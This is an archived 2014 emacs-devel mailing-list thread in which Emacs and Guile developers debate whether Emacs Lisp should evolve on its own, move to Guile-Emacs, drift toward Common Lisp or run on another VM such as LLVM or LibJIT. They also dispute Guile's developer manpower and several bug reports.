Re: Emacs Lisp's future

Re: Emacs Lisp's future

[David Kastrup]

Stefan Monnier <monnier@iro.umontreal.ca> writes:

>> So this email is partly a:
>>  - What now?  What's the chance of work towards guilemacs moving over to
>>    an official emacs git branch, and that port happening, anytime soon?
>>  - Is anyone running it?  How's it going for you?
>
> Good questions.  I've had the opportunity to think a bit more about
> Emacs Lisp and its possible evolution and I'm still not sure what to
> think about it.
>
> I see a few different options for Emacs Lisp.
>
> First, of course we can keep on evolving Elisp on its own.  This has
> worked OK for the last 30 years, so it's not such a terrible choice.
> The main problems I see with that:
> - Elisp is slow and as CPUs aren't getting faster, its slowness makes itself
>   noticed more often.
> - Lack of some features, most notably FFI and concurrency.
> - Lack of manpower.
>
> This last point is for me the strongest motivation to try and move to
> some other system, where we could use other people's work.
>
> One such option is Guile-Emacs.  This presumably would give us a faster
> implementation (at least in theory, their bytecode is significantly
> more efficient), would give us an FFI, and would give us more manpower
> since we'd be benefiting from the work done on Guile.

That's not all that much manpower.  If you take a look at the commits in
the master branch that are not merges from the stable branch, I think
that more than 90% are from Andy Wingo.  And the turnaround times on the
issue tracker are not all that impressive.  It doesn't help that Andy
does not generally bother with the bug tracker, so most bugs actually
having a chance of getting fixed are those in the stable branch.

> Note that while Guile does come with support for threading,

<URL:http://debbugs.gnu.org/cgi/bugreport.cgi?bug=14756>

Bug report about basic threading functionality not working, no response
since June 2013.

> it doesn't immediately let us use concurrency in Guile-Emacs, because
> of all the issues of synchronizing access to shared data, with all the
> existing Emacs code (both C and Elisp) assuming that this problem
> doesn't exist.  IOW, language support for concurrency is just a first
> step on the way to letting Emacs Lisp use concurrency.

Bug report about basic list functionality not working for lists of more
than 10009 members:

<URL:http://debbugs.gnu.org/cgi/bugreport.cgi?bug=17485>

The proposed fix is rejected, but no alternative fix is done.

<URL:http://debbugs.gnu.org/cgi/bugreport.cgi?bug=13101> is an example
for the inability to compile large expressions on Guile-2.0.  The basic
resume for this bug is "large expressions like that will only work with
Guile-2.2+", but since Guile-2.2 is pretty much a one-person venture, it
is very unclear how it will ever be suitable for a "stable release".

> Another detail that needs to be spelled out is the difference between
> the language and its implementation.  Guile-Emacs provides 2
> languages: Emacs Lips and Scheme (well, it also provides a few more,
> but that's not important).

It might very well become important if it leads to Emacs extensibility
in more procedural-syntax languages like Lua (the data model and basic
application of Emacs does not really call for functional programming, so
a functional programming language has no real advantage).  I see that as
mostly pie-in-the-sky material right now since getting Scheme right and
finding a workable balance between code complexity, performance,
scalability and reliability of the basic feature set seems more
important to focus on before fanning out.  But it is an interesting
long-term perspective.

> One of the main reasons for Emacs's enduring success is its large set
> of third party packages so obviously we can't drop support for Elisp
> any time soon.  And as much as I like Scheme, I'm very much
> unconvinced that it's really so much better that it's worth converting
> packages from Elisp to Scheme.

Scheme is not "better" than Elisp but it's certainly more standardized.
Since it is mostly employed for other tasks, code reusability for Emacs
will not be much of an ongoing advantage in practice.  I mean, how did
the Common Lisp based Emacs clone Hemlock fare?  I think nobody
remembers it any more.

> So if we go for Guile-Emacs, we'll be stuck with Guile, i.e. we'd have
> (old and new) packages that use Elisp, new packages that use Scheme,
> maybe yet other new packages that use, say, Javascript (or some other
> language support by Guile).  That would make the work of Emacs (and
> GNU ELPA) maintenance harder.
>
> And of course, if Guile's own manpower dries up, Emacs would be forced
> to keep supporting Guile, which is more work than supporting just
> Elisp.

And its dark corners are in areas entirely foreign to text editing.

> So, I think that ideally, we'd want to stick to Elisp, or some
> evolution thereof.  Sadly, I don't see how to evolve Elisp into
> Scheme: they are closely related languages, but the differences are
> large enough that it seems hard to reconcile them.

The main road to a common effort/codebase would be a common VM and byte
code I think.  The Guile compiler is layered, so one could hug the Elisp
byte compiler into a Guile compiler level considerably more remote from
the low-level machine than the VM and basically use all of its
compiler/optimizer structure without prescribing the high-level
language.

I think that this is the basic Emacs-Guile approach and it would make it
reasonably easy to extend Emacs with either Elisp or Scheme without
really having the languages merge in any manner.

I think that the basic idea is quite workable.  What I doubt is that the
GUILE project will readily scale to accommodate Emacs.  We've seen a lot
of growing pains when Emacs jumped on board of Bazaar, a project
unprepared for the challenges of a project of Emacs' size with regard to
both computational and social scalability.

Moving the responsibility for the Emacs low-level language layer and
management (for example, byte-compiled files will be created and managed
on disk by GUILE, and I am not convinced that GUILE is even close to
prepared to deal with a code base and add-on packages on the scale of a
typical Emacs-plus-extensions, plus multiple versions and installations)
into a different project will be a quite larger challenge and rather
permanent commitment than Bazaar was.

Given the current size of GUILE, this would require quite a large leap
of faith for which I see no return jump.

-- 
David Kastrup

Re: Emacs Lisp's future

[Mark H Weaver]

David Kastrup <dak@gnu.org> writes:

> Bug report about basic list functionality not working for lists of more
> than 10009 members:
>
> <URL:http://debbugs.gnu.org/cgi/bugreport.cgi?bug=17485>

One of our procedures has a scalability problem.  Summarizing this as
"basic list functionality not working for lists of more than 10009
members" is a gross misrepresentation.

I responded within a day or so, and we had a conversation over the next
few days, but quickly ran into the problem that you wanted to change one
of our other API procedures in a non-standard way that conflicts with
our existing behavior, and you simply wouldn't take "no" for an answer.

> The proposed fix is rejected, but no alternative fix is done.

I would be glad to fix the problem myself, but I was hoping that you
would adapt your patch without changing that other API procedure, so
that you would get credit for your work.

> <URL:http://debbugs.gnu.org/cgi/bugreport.cgi?bug=13101> is an example
> for the inability to compile large expressions on Guile-2.0.  The basic
> resume for this bug is "large expressions like that will only work with
> Guile-2.2+"

Is it really a show-stopper that Guile 2.0 has limitations in the sizes
of some expression types?  Even C has similar limitations, and yet
somehow it seems to be successful.

      Mark

Re: Emacs Lisp's future

[Mark H Weaver]

Mark H Weaver <mhw@netris.org> writes:

> David Kastrup <dak@gnu.org> writes:
>
>> Bug report about basic list functionality not working for lists of more
>> than 10009 members:
>>
>> <URL:http://debbugs.gnu.org/cgi/bugreport.cgi?bug=17485>
>
> One of our procedures has a scalability problem.  Summarizing this as
> "basic list functionality not working for lists of more than 10009
> members" is a gross misrepresentation.
>
> I responded within a day or so, and we had a conversation over the next
> few days, but quickly ran into the problem that you wanted to change one
> of our other API procedures in a non-standard way that conflicts with
> our existing behavior, and you simply wouldn't take "no" for an answer.

I should mention that most of the conversation we had regarding this
other API procedure (length+) occurred within another bug report:

  http://bugs.gnu.org/17296

Although it may appear from bug #17485 that I failed to respond to your
last messages, in fact the conversation had shifted to bug #17296 where
you failed to respond to my reasons for rejecting your proposed change.

      Mark

Re: Emacs Lisp's future (was: Guile emacs thread (again))

[Lally Singh]

[-- Attachment #1: Type: text/plain, Size: 447 bytes --]

So if this a runtime system issue, what about elisp on LLVM?  Let the LLVM
project handle the backend and performance issues, and emacs can maintain
one language frontend.  There are plenty of people working on that, so
emacs can ride that for almost free.

I'm assuming that there are reasons why it doesn't work, as someone
(apparently) did the work some time ago:
https://github.com/boostpro/emacs-llvm-jit  Perhaps it just needs a little
TLC?

[-- Attachment #2: Type: text/html, Size: 577 bytes --]

Re: Emacs Lisp's future

[mhw]

David Kastrup <dak@gnu.org> writes:

> That's not all that much manpower.  If you take a look at the commits in
> the master branch that are not merges from the stable branch, I think
> that more than 90% are from Andy Wingo.

That's an interesting way to pretend that Ludovic and I don't exist, by
excluding merges.  Why should our contributions be excluded just because
they start out on the stable-2.0 branch and later flow to master by way
of merges?

      Mark

Re: Emacs Lisp's future

[Lars Magne Ingebrigtsen]

Stefan Monnier <monnier@iro.umontreal.ca> writes:

> The only standard language into which Elisp can evolve, AFAICT, is
> Common Lisp.  [ Now some readers get disappointed, while some others
> become excited.  ]

Yay, excited.

I think there's a somewhat greater cultural overlap between Emacs Lisp
and Common Lisp people ("get things done") than between Emacs Lisp
people and Scheme people ("interesting academically").

Anyway, I think the dangled sorta-promise that Emacs would eventually
shift to Guile might have stifled Emacs Lisp development.  Whenever
somebody has brought up the issue of evolving Emacs Lisp (to
multi-threadedness or whatever's fun), they're usually discouraged by
others piping in with "oh, Emacs is moving to Guile, anyway, so don't
bother".

Perhaps if we just say firmly "Emacs Lisp is Emacs Lisp, and should
evolve in a Common Lisp direction, but without the whole-sale porting to
a third-party system: Please start hacking now" we'd attract people
interested in doing low-level language stuff.

Doesn't that sound like a fun opportunity?

*crosses fingers*

-- 
(domestic pets only, the antidote for overdose, milk.)
   bloggy blog: http://lars.ingebrigtsen.no

Re: Emacs Lisp's future

[Nic Ferrier]

Lars Magne Ingebrigtsen <larsi@gnus.org> writes:

> I think there's a somewhat greater cultural overlap between Emacs Lisp
> and Common Lisp people ("get things done") than between Emacs Lisp
> people and Scheme people ("interesting academically").
>
> Anyway, I think the dangled sorta-promise that Emacs would eventually
> shift to Guile might have stifled Emacs Lisp development.  Whenever
> somebody has brought up the issue of evolving Emacs Lisp (to
> multi-threadedness or whatever's fun), they're usually discouraged by
> others piping in with "oh, Emacs is moving to Guile, anyway, so don't
> bother".

I don't think that's true.

From my perspective, what's stopping more people getting involved is the
community, which is sometimes quite negative and the tooling, which is
baroque.

The tooling is being fixed. I am *very* excited about that.

I hope the tooling will bring more people which will re-energize the
current community and add positivity.


Nic

Re: Emacs Lisp's future (was: Guile emacs thread (again))

[Tom]

Lally Singh <lally.singh <at> gmail.com> writes:

> 
> So if this a runtime system issue, what about elisp on LLVM?  Let the LLVM
project handle the backend and performance issues, and emacs can maintain
one language frontend.  There are plenty of people working on that, so emacs
can ride that for almost free.

In the long run this would be the most practical solution. Choosing
a well supported and widely used VM which gets  tons of developer 
attention, so the VM development would be taken care of, 
and Elisp could be implemented as a frontend.

This approach has the advantage of supporting the existing Elisp code
base and it would also make it possible to use other languages to extend
emacs, because widdely used VMs have frontend implementations for
many modern languages (Python, etc.)

Re: Emacs Lisp's future

[Phillip Lord]

Stefan Monnier <monnier@iro.umontreal.ca> writes:
> First, of course we can keep on evolving Elisp on its own.  This has
> worked OK for the last 30 years, so it's not such a terrible choice.
> The main problems I see with that:
> - Elisp is slow and as CPUs aren't getting faster, its slowness makes itself
>   noticed more often.

I've been going through some 10 year old elisp of mine recently. The
thing that surprises me is how many times I mention performance in it. I
rarely worry about this these days. Elisp performance as is seems rarely
an issue.

Where I would say that there is an issue is that too much of Emacs is
written in C. Having a faster elisp would allow moving more into lisp
and thus having more of Emacs extensible dynamically.

> - Lack of some features, most notably FFI and concurrency.
> - Lack of manpower.

I'd add a fourth. People who want to extend Emacs for their own purposes
have to learn it. Having JS extensibility would be an enourmous win.


> So if we go for Guile-Emacs, we'll be stuck with Guile, i.e. we'd
> have (old and new) packages that use Elisp, new packages that use
> Scheme, maybe yet other new packages that use, say, Javascript (or some
> other language support by Guile).  That would make the work of Emacs
> (and GNU ELPA) maintenance harder.

Thinking of Emacs as an entire ecosystem, most of Emacs is already
maintained independently from either Emacs core or GNU ELPA. For common
languages (like Javascript), the maintaince might be ligtened because
more people would be available.

Of course, it is worth mentioning that some of the big advantages from a
language like Javascript come from the implementation. A guile based
implementation wouldn't benefit from the intensive JS VM development
that has happend over the years.

Phil

Re: Emacs Lisp's future

[David Kastrup]

Nic Ferrier <nferrier@ferrier.me.uk> writes:

> Lars Magne Ingebrigtsen <larsi@gnus.org> writes:
>
>> I think there's a somewhat greater cultural overlap between Emacs Lisp
>> and Common Lisp people ("get things done") than between Emacs Lisp
>> people and Scheme people ("interesting academically").
>>
>> Anyway, I think the dangled sorta-promise that Emacs would eventually
>> shift to Guile might have stifled Emacs Lisp development.  Whenever
>> somebody has brought up the issue of evolving Emacs Lisp (to
>> multi-threadedness or whatever's fun), they're usually discouraged by
>> others piping in with "oh, Emacs is moving to Guile, anyway, so don't
>> bother".
>
> I don't think that's true.
>
> From my perspective, what's stopping more people getting involved is the
> community, which is sometimes quite negative and the tooling, which is
> baroque.

Well, let's take a comparison:

git shortlog -s --since "1 month ago" origin/master

in a current GUILE repository gives

     2  Andy Wingo

while in a current Emacs repository it gives

     4  Alan Mackenzie
     1  Alp Aker
     4  Christoph Scholtes
     1  Christopher Schmidt
     5  Daniel Colascione
     1  Detlev Zundel
    27  Dmitry Antipov
    50  Eli Zaretskii
     1  Fabián Ezequiel Gallina
    26  Glenn Morris
     1  Ivan Shmakov
     5  Jan D.
     1  Jay Belanger
     1  João Távora
     1  Kan-Ru Chen
     1  Karol Ostrovsky
     3  Katsumi Yamaoka
     8  Ken Brown
     1  Ken Olum
     1  Lars Ljung
     2  Lars Magne Ingebrigtsen
     4  Leo Liu
    15  Michael Albinus
     1  Michael Heerdegen
    34  Paul Eggert
     1  Rasmus Pank Roulund
     1  Reuben Thomas
     9  Sam Steingold
    16  Stefan Monnier
     2  Thierry Volpiatto
     1  YAMAMOTO Mitsuharu
     8  martin rudalics

That does not particularly make Emacs look like a project keeping people
from getting involved.  Of course, the project/repository structure of
both projects is different, but the basic idea that forward-looking
development happens in the master branch is loosely common to both.

If we take GNU LilyPond, incidentally based on GUILE 1.8, for reference,
we get something like

git shortlog -s --since "1 month ago" origin
    60  David Kastrup
     4  James Lowe
     6  Janek Warchoł
     3  Jean-Charles Malahieude
     4  Julien Rioux
     5  Keith OHara
    19  Phil Holmes
     3  Trevor Daniels
     1  Walter Garcia-Fontes

Now this is a project that has to suffer from a lead developer who is
considered to be sometimes (or more) quite negative, and the tooling,
namely GUILE 1.8 which is considered outdated and unmaintained for
something like 5 years or so, can also be called baroque.

The result is a quite more peaked distribution of contributions per
developer than with Emacs which has sort of a plateau at the top.

So I think that the news of Emacs' demise due to the named reasons is
quite exaggerated.  There is always room for improvement, of course, but
no particular need to panic.

-- 
David Kastrup

Re: Emacs Lisp's future

[Eli Zaretskii]

> From: Nic Ferrier <nferrier@ferrier.me.uk>
> Date: Wed, 17 Sep 2014 11:53:16 +0100
> 
> I hope the tooling will bring more people which will re-energize the
> current community and add positivity.

Sorry, but I will believe it when I see it.

Re: Emacs Lisp's future

[Nic Ferrier]

phillip.lord@newcastle.ac.uk (Phillip Lord) writes:

> I'd add a fourth. People who want to extend Emacs for their own purposes
> have to learn it. Having JS extensibility would be an enourmous win.

From what I've seen that isn't true. Most people learn just enough to
fix their problem.

Emacs Lisp is many people's least understood practical language (by
which I mean, they understand enough to do something with it). A bit
like Javascript used to be (how do I verify a form before it submits
again?)


Nic

Re: Emacs Lisp's future (was: Guile emacs thread (again))

[Richard Stallman]

[[[ To any NSA and FBI agents reading my email: please consider    ]]]
[[[ whether defending the US Constitution against all enemies,     ]]]
[[[ foreign or domestic, requires you to follow Snowden's example. ]]]

It is not acceptable to base a GNU package on LLVM.  It is a
non-copylefted competitor to an important GNU package.

-- 
Dr Richard Stallman
President, Free Software Foundation
51 Franklin St
Boston MA 02110
USA
www.fsf.org  www.gnu.org
Skype: No way! That's nonfree (freedom-denying) software.
  Use Ekiga or an ordinary phone call.

Re: Emacs Lisp's future

[Stefan Monnier]

> base and it would also make it possible to use other languages to extend
> Emacs, because widdely used VMs have frontend implementations for
> many modern languages (Python, etc.)

As mentioned in my previous message about Guile-Emacs, I tend to think
this would be a liability rather than a feature.


        Stefan

Re: Emacs Lisp's future

[Eric Brown]

Stefan Monnier <monnier@iro.umontreal.ca> writes:

> One such option is Guile-Emacs.  This presumably would give us a faster
> implementation (at least in theory, their bytecode is significantly
> more efficient), would give us an FFI, and would give us more manpower
> since we'd be benefiting from the work done on Guile.

My vote is for whatever brings emacs closer to an FFI that allows us to
e.g. generate emacs buffer content in whichever language(s) bests suits
the developer and the domain of the subject.

>
> And of course, if Guile's own manpower dries up, Emacs would be forced
> to keep supporting Guile, which is more work than supporting just Elisp.
>

I thought that Guile is the annointed extension language of GNU
projects. Perhaps if more GNU projects evolved into supporting Guile, it
would bring more critical mass and interest to bear on Guile.

I understand the reality that Emacs is developed largely by volunteer
effort. Speaking as a donor/FSF Associate Member, I believe that this
should be considered a strategic goal of FSF/GNU leadership.

A cynical reply to my comments would be "show me the code, contributions
welcome."  But without FSF/GNU's coordination and $upport, I fail to see
how Emacs will ever evolve beyond the efforts of Hemlock, Guilemacs,
Deuce, Climacs, and countless other well-intentioned projects that have
failed to take root due to scale of the effort required to make a port
of equivalent high functionality, quality, and portability.

Re: Emacs Lisp's future

[Stefan Monnier]

> I've been going through some 10 year old elisp of mine recently.
> The thing that surprises me is how many times I mention performance in
> it.  I rarely worry about this these days.  Elisp performance as is
> seems rarely an issue.

I think this reflects 2 things:
- machines still did get faster over the last 10 years (much less so
  than over the preceding 10 years, but also probably much more so than
  over the next 10 years).
- you've internalized Elisp performance sufficiently that you
  self-censor yourself such that you don't bump into it.

> Where I would say that there is an issue is that too much of Emacs is
> written in C.  Having a faster elisp would allow moving more into lisp
> and thus having more of Emacs extensible dynamically.

That's part of the idea, yes.

> I'd add a fourth. People who want to extend Emacs for their own purposes
> have to learn it.  Having JS extensibility would be an enourmous win.

I'm far from convinced.  It may seem that way if you don't think too
hard about what it would look like, but once you realize that your JS
hacker will have to learn how to manipulate Elisp lists, Elisp vectors,
Elisp symbols, how to access Elisp functions and Elisp variables ...

That JS code won't look very much like your typical JS code.  It will be
so baroque that they will "have to learn it".  And they may even hate it
more (because it surely will look ugly).

Interoperability between languages is *hard*.  Doing it so the result is
lightweight and elegant (and moderately efficient) is rarely possible.


        Stefan

Re: Emacs Lisp's future

[Tom]

Stefan Monnier <monnier <at> iro.umontreal.ca> writes:

> 
> As mentioned in my previous message about Guile-Emacs, I tend to think
> this would be a liability rather than a feature.
> 

I don't see why. It would make it easier for people to write 
configurations for emacs if they can use a language which they already
know and is widely used.

You could still set up a rule that you only accept elisp packages
in the core if it makes core maintenance easier. But why deny 
this feature from the users if a popular VM can easily support it?

It would be a great selling point if you could say "you can use 
your favorite language to configure emacs, you don't have to use
arcane elisp if you don't want to". It could be an additional 
convenience for the users which would make emacs more accesible
than it is today.

Re: Emacs Lisp's future

[Taylan Ulrich Bayirli/Kammer]

Eric Brown <brown@fastmail.fm> writes:

> [...] I fail to see how Emacs will ever evolve beyond the efforts of
> Hemlock, Guilemacs, Deuce, Climacs, and countless other
> well-intentioned projects [...]

Note that Guile-Emacs runs existing Elisp as-is and is basically a
drop-in replacement.  It's still the GNU Emacs you know; it's not even
like XEmacs.  It only *adds* things to GNU Emacs.  (But currently it's
in what one could call a alpha or even pre-alpha stage.)

More information:
http://www.emacswiki.org/emacs/GuileEmacs

Taylan

Re: Emacs Lisp's future

[Óscar Fuentes]

Tom <adatgyujto@gmail.com> writes:

> Stefan Monnier <monnier <at> iro.umontreal.ca> writes:
>
>> 
>> As mentioned in my previous message about Guile-Emacs, I tend to think
>> this would be a liability rather than a feature.
>> 
>
> I don't see why. It would make it easier for people to write 
> configurations for emacs if they can use a language which they already
> know and is widely used.
>
> You could still set up a rule that you only accept elisp packages
> in the core if it makes core maintenance easier. But why deny 
> this feature from the users if a popular VM can easily support it?
>
> It would be a great selling point if you could say "you can use 
> your favorite language to configure emacs, you don't have to use
> arcane elisp if you don't want to". It could be an additional 
> convenience for the users which would make emacs more accesible
> than it is today.

LLVM is not a VM (Virtual Machine). I know, the name is confusing.

So LLVM will not allow using multiple programming languages to configure
Emacs.

Re: Emacs Lisp's future

[Phillip Lord]

Eli Zaretskii <eliz@gnu.org> writes:

>> From: Nic Ferrier <nferrier@ferrier.me.uk>
>> Date: Wed, 17 Sep 2014 11:53:16 +0100
>> 
>> I hope the tooling will bring more people which will re-energize the
>> current community and add positivity.
>
> Sorry, but I will believe it when I see it.


When I started coding clojure a couple of years ago, I went through a
process of rediscovering the state of the art in Emacs even though I
have been using it for 20 years; not just the Clojure specific stuff,
but things like magit.

In terms of tooling, I would argue strongly that package.el and more
recently MELPA stable have made a significant difference to the
community. It is now incredibly easy for me to update one of my
packages, do a release and have it in peoples hands.

I write code in the first instance for my own benefit. Decreasing the
additional effort that I need to make to release it to others is  an
important contribution.

I am with Nic; I think it's already happening.

Phil

Re: Emacs Lisp's future

[Eli Zaretskii]

> From: Taylan Ulrich Bayirli/Kammer <taylanbayirli@gmail.com>
> Date: Wed, 17 Sep 2014 15:33:04 +0200
> Cc: Christopher Allan Webber <cwebber@dustycloud.org>,
> 	Stefan Monnier <monnier@iro.umontreal.ca>, emacs-devel@gnu.org
> 
> Note that Guile-Emacs runs existing Elisp as-is and is basically a
> drop-in replacement.

But that's not really true, is it?  Just look at the changes made in
the Guile-Emacs repo to core Lisp files, and you will see what I mean.

Btw, I admit I don't completely understand what the wiki says about
the problems with t and nil, but if that means you cannot say in
Guile-Emacs something like

   (if (eq foo t) ...

then there are more than 700 places in Emacs that will stop working.

Re: Emacs Lisp's future

[Phillip Lord]

Stefan Monnier <monnier@iro.umontreal.ca> writes:

>> I've been going through some 10 year old elisp of mine recently.
>> The thing that surprises me is how many times I mention performance in
>> it.  I rarely worry about this these days.  Elisp performance as is
>> seems rarely an issue.
>
> I think this reflects 2 things:
> - machines still did get faster over the last 10 years (much less so
>   than over the preceding 10 years, but also probably much more so than
>   over the next 10 years).

Well, Emacs is a text editor. The CPU demands of the task haven't
increased that much over the last 10 years either.

> - you've internalized Elisp performance sufficiently that you
>   self-censor yourself such that you don't bump into it.

Have you looked at any of my code recently? Still, yes, you may have a
point.



>
>> Where I would say that there is an issue is that too much of Emacs is
>> written in C.  Having a faster elisp would allow moving more into lisp
>> and thus having more of Emacs extensible dynamically.
>
> That's part of the idea, yes.
>
>> I'd add a fourth. People who want to extend Emacs for their own purposes
>> have to learn it.  Having JS extensibility would be an enourmous win.
>
> I'm far from convinced.  It may seem that way if you don't think too
> hard about what it would look like, but once you realize that your JS
> hacker will have to learn how to manipulate Elisp lists, Elisp vectors,
> Elisp symbols, how to access Elisp functions and Elisp variables ...
>
> That JS code won't look very much like your typical JS code.  It will be
> so baroque that they will "have to learn it".  And they may even hate it
> more (because it surely will look ugly).
>
> Interoperability between languages is *hard*.  Doing it so the result is
> lightweight and elegant (and moderately efficient) is rarely possible.

Yes, you are absolutely right. I am using Clojure for its Java interop
at the moment, and it has been done well. Replicating that would be no
mean feat.

Phil

Re: Emacs Lisp's future

[David Kastrup]

Mark H Weaver <mhw@netris.org> writes:

> David Kastrup <dak@gnu.org> writes:
>
>> Bug report about basic list functionality not working for lists of more
>> than 10009 members:
>>
>> <URL:http://debbugs.gnu.org/cgi/bugreport.cgi?bug=17485>
>
> One of our procedures has a scalability problem.  Summarizing this as
> "basic list functionality not working for lists of more than 10009
> members" is a gross misrepresentation.

It's "drop-right" in srfi-1, the basic list processing library. 10009 is
a typo, it's actually somewhere between 1000 and 10000 that GUILE bombs
out.  drop-right is basic enough that it is used in the implementation
of reduce-right, propagating the scalability problem.  I don't see it as
a gross misrepresentation, but haggling about that would be missing the
point anyway.

> I responded within a day or so, and we had a conversation over the next
> few days, but quickly ran into the problem that you wanted to change one
> of our other API procedures in a non-standard way

The "non-standard way" being the exact behavior of the Scheme reference
implementation for srfi-1.

> that conflicts with our existing behavior, and you simply wouldn't
> take "no" for an answer.

I gave up on this problem after pointing out that I saw no sensible
solution within the restrictions you wanted to see implemented and
I pointed that out.

At any rate, all this is missing the point.  The point was that GUILE is
not a vibrant project at a scale that can comfortably absorb the impact
of becoming Emacs' main Lisp engine.

Becoming Emacs' main Lisp engine will require timely answers to
limitations in the VM, compilers, library routines, and Scheme standard
interpretation that turn out to affect Emacs operations and Lisp
implementations.  In particular, it will not be an option to flag errors
for every operation that has no well-defined semantics in Scheme when
the corresponding operation in Common Lisp or Elisp happens to be
well-defined and needed.

And parting ways again in case the cooperation turns out bad is entirely
different from parting ways with Bazaar, since we are talking about
replacing Emacs' internals here rather than an external tool.

So the situation with GUILE-Emacs more or less can be characterized as:
you can check it in any time you want but you can never leave it.

>> <URL:http://debbugs.gnu.org/cgi/bugreport.cgi?bug=13101> is an
>> example for the inability to compile large expressions on Guile-2.0.
>> The basic resume for this bug is "large expressions like that will
>> only work with Guile-2.2+"
>
> Is it really a show-stopper that Guile 2.0 has limitations in the
> sizes of some expression types?

Semantic compiles grammars into code.  "some expression types" in that
bug report is a large "cond" statement, exactly the kind of thing a
typical action-annotated grammar will be compiled into by a parser
generator.  GUILE compiles a cond statement into nested if statements.
The VM does not offer any other renditions of conditionals, so _every_
way of expressing this function in terms of an open-coded block of code
rather than, say, tables containing closures, will fail compilation.

Yes, this can turn into sort of a scalability problem in my book.  And
Emacs is big.

> Even C has similar limitations, and yet somehow it seems to be
> successful.

C restricts the number of cases in a switch statement (which would be
the rough equivalent here)?  That's news to me.

-- 
David Kastrup

Re: Emacs Lisp's future

[David Kastrup]

mhw@netris.org writes:

> David Kastrup <dak@gnu.org> writes:
>
>> That's not all that much manpower.  If you take a look at the commits in
>> the master branch that are not merges from the stable branch, I think
>> that more than 90% are from Andy Wingo.
>
> That's an interesting way to pretend that Ludovic and I don't exist, by
> excluding merges.

Work on the stable branch is supposedly maintenance rather than
forward-looking development.

It's actually a good sign for a project's stability if more people work
on maintenance than on new things.  But I was commenting on the amount
of manpower getting work done on new things.

> Why should our contributions be excluded just because they start out
> on the stable-2.0 branch and later flow to master by way of merges?

Would you claim that the stable-2.0 branch is where new developments are
generally done?  That would seem like a somewhat unusual development
model.

-- 
David Kastrup

Re: Emacs Lisp's future

[Tom]

Óscar Fuentes <ofv <at> wanadoo.es> writes:
> 
> LLVM is not a VM (Virtual Machine). I know, the name is confusing.
> 
> So LLVM will not allow using multiple programming languages to configure
> Emacs.
> 

I didn't talk about LLVM specifically, I used the word VM in general.
There are VMs where this is possible, the question is: is there a 
sufficiently popular one (considerable developer community, supports
multiple modern languages, etc.) which is GPL compatible?

Re: Emacs Lisp's future (was: Guile emacs thread (again))

[Lally Singh]

[-- Attachment #1: Type: text/plain, Size: 1431 bytes --]

Would DotGNU work?  Ignore C# and put in a elisp frontend.  The benefit
being that we can watch what the larger efforts are doing in those fronts,
and pick-and-choose the good ideas with little effort on our side.

DotGNU would get a boost of support from emacs, and it's a familiar enough
environment that a lot of programmers would be willing to go in and hack on
it.  They'd often already have transferrable experience on the proprietary
versions of DotGNU, but would be able to vent their innate need to hack on
dotgnu instead of the more proprietary versions.  Emacs has a huge user
footprint, and leveraging it to boost another project would help.
 Especially a project that rides rather close to a very popular proprietary
platform - that's a lot of hackers to harness.

On Wed, Sep 17, 2014 at 7:43 AM, Richard Stallman <rms@gnu.org> wrote:

> [[[ To any NSA and FBI agents reading my email: please consider    ]]]
> [[[ whether defending the US Constitution against all enemies,     ]]]
> [[[ foreign or domestic, requires you to follow Snowden's example. ]]]
>
> It is not acceptable to base a GNU package on LLVM.  It is a
> non-copylefted competitor to an important GNU package.
>
> --
> Dr Richard Stallman
> President, Free Software Foundation
> 51 Franklin St
> Boston MA 02110
> USA
> www.fsf.org  www.gnu.org
> Skype: No way! That's nonfree (freedom-denying) software.
>   Use Ekiga or an ordinary phone call.
>
>

[-- Attachment #2: Type: text/html, Size: 1981 bytes --]

Re: Emacs Lisp's future

[Eli Zaretskii]

> From: phillip.lord@newcastle.ac.uk (Phillip Lord)
> Date: Wed, 17 Sep 2014 14:54:22 +0100
> Cc: emacs-devel@gnu.org
> 
> > - machines still did get faster over the last 10 years (much less so
> >   than over the preceding 10 years, but also probably much more so than
> >   over the next 10 years).
> 
> Well, Emacs is a text editor. The CPU demands of the task haven't
> increased that much over the last 10 years either.

You are wrong here.  Emacs 23 added many CPU-intensive features, like
visual-line-mode.  Emacs 24 added bidirectional display, which makes
redisplay need roughly twice as much juice as Emacs 23 needed.  And
these are only two examples that pop up in my head after a 3-sec
thought; I'm sure there are more.

So it's not like we use up every additional CPU cycle the chips are
giving us, but we are certainly using significantly more than we did
10 years ago.

Re: Emacs Lisp's future

[David Kastrup]

Eli Zaretskii <eliz@gnu.org> writes:

> You are wrong here.  Emacs 23 added many CPU-intensive features, like
> visual-line-mode.  Emacs 24 added bidirectional display, which makes
> redisplay need roughly twice as much juice as Emacs 23 needed.  And
> these are only two examples that pop up in my head after a 3-sec
> thought; I'm sure there are more.
>
> So it's not like we use up every additional CPU cycle the chips are
> giving us, but we are certainly using significantly more than we did
> 10 years ago.

One of the most costly changes was post 20.2 (?) when buffer and string
positions became expressed as character offsets rather than byte
offsets.

-- 
David Kastrup

Re: Emacs Lisp's future

[Mark H Weaver]

David Kastrup <dak@gnu.org> writes:

> mhw@netris.org writes:
>
>> David Kastrup <dak@gnu.org> writes:
>>
>>> That's not all that much manpower.  If you take a look at the commits in
>>> the master branch that are not merges from the stable branch, I think
>>> that more than 90% are from Andy Wingo.
>>
>> That's an interesting way to pretend that Ludovic and I don't exist, by
>> excluding merges.
>
> Work on the stable branch is supposedly maintenance rather than
> forward-looking development.
>
> It's actually a good sign for a project's stability if more people work
> on maintenance than on new things.  But I was commenting on the amount
> of manpower getting work done on new things.

Plenty of "new things" have been added to the stable-2.0 branch.
Just read the NEWS file for 2.0.

  http://git.savannah.gnu.org/gitweb/?p=guile.git;a=blob_plain;f=NEWS;hb=stable-2.0

>> Why should our contributions be excluded just because they start out
>> on the stable-2.0 branch and later flow to master by way of merges?
>
> Would you claim that the stable-2.0 branch is where new developments are
> generally done?  That would seem like a somewhat unusual development
> model.

Yes, it's unusual, but whenever possible we add new modules and other
features to the stable-2.0 branch, so that users of 2.0 will benefit
from them.  The exceptions are:

* Work related to the new compiler/VM, which have changed substantially
  on the master branch.

* Disruptive changes that carry a significant risk of adding new bugs.

* Changes that would break API or ABI compatibility.

     Mark

Re: Emacs Lisp's future

[Eli Zaretskii]

> From: David Kastrup <dak@gnu.org>
> Date: Wed, 17 Sep 2014 16:30:44 +0200
> 
> One of the most costly changes was post 20.2 (?) when buffer and string
> positions became expressed as character offsets rather than byte
> offsets.

Yes, well, but that was more than 10 years ago (1997, if you are right
and it was 20.2).

Re: Emacs Lisp's future

[Stefan Monnier]

> Would DotGNU work?

DotGNU is dead.  But there's still LibJIT.  I have no idea in what kind
of shape it is, tho.


        Stefan

Re: Emacs Lisp's future

